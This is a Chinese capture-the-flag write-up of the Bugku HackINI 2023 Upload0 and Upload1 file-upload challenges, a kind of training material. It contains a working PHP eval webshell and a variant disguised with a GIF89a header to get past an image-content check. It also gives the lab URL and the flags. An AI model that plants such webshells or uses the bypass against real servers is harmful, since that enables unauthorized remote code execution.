Bugku - 2023 HackINI Upload0 与 2023 HackINI Upload1 详解

目录

前置知识

解题过程

Upload0

Upload1

总结


前置知识

网络安全-文件上传漏洞-CSDN博客

解题过程

Upload0

打开靶场

根据题目还有页面可可以知道是文件上传漏洞,抓包或者插件可以看到是php环境,

尝试,构造一句话木马1.php文件如下:

复制代码
<?php
eval($_POST['shell']);
?>

上传成功,点击here可看到路径

复制代码
http://49.232.142.230:13942/uploads/63b4f3f6cd42bc4d2384208bef372ef4/1.php

直接蚁剑连接即可

连接成功

在根目录下的flag.txt可查看flag

复制代码
shellmates{s1Mp1E_PHP_Fi1E_up1o4D_tO_W4rMUp}

Upload1

在Upload0的基础上增加了一定的过滤,检测了文件内容是否为图片。

我们增加GIF89a图片魔术头,即可伪装文件为图片,直接构造2.php文件如下:

复制代码
GIF89a
<?php
eval($_POST['shell']);
?>

其他步骤同Upload0相同,不再赘述

复制代码
shellmates{PoLyg10t_F1l3s_Byp4$S}

总结

Upload0没有任何过滤的基础php文件上传漏洞

Upload1增加了基础的文件内容检测

相关推荐
码农12138号2 小时前
Bugku HackINI 2022 Whois 详解
linux·web安全·ctf·命令执行·bugku·换行符
JSON_L3 小时前
Fastadmin API接口实现多语言提示语
后端·php·fastadmin
禁默4 小时前
“零消耗”调用优质模型:AI Ping结合Cline助我快速开发SVG工具,性能与官网无异
开发语言·php
三七吃山漆4 小时前
攻防世界——comment
android·python·web安全·网络安全·ctf
青梅煮久5 小时前
RK3566 Linux实例应用(1)——环境编译与烧录
linux·数据库·php
lpppp小公主5 小时前
PolarCTF网络安全2025冬季个人挑战赛 wp
安全·web安全
Suckerbin6 小时前
2025年Solar应急响应6月赛 恶意进程与连接分析
安全·web安全·网络安全·安全威胁分析
✎ ﹏梦醒͜ღ҉繁华落℘7 小时前
计算机网络学习(二)---Ping命令
学习·计算机网络·php
MarkHD7 小时前
车辆TBOX科普 第59次 系统集成与测试深度解析(EMC、功能安全、网络安全)
网络·安全·web安全
浩浩测试一下7 小时前
Kerberos 资源约束性委派误配置下的 S4U2self → S4U2proxy → DCSync 提权高阶手法链
安全·web安全·网络安全·中间件·flask·系统安全·安全架构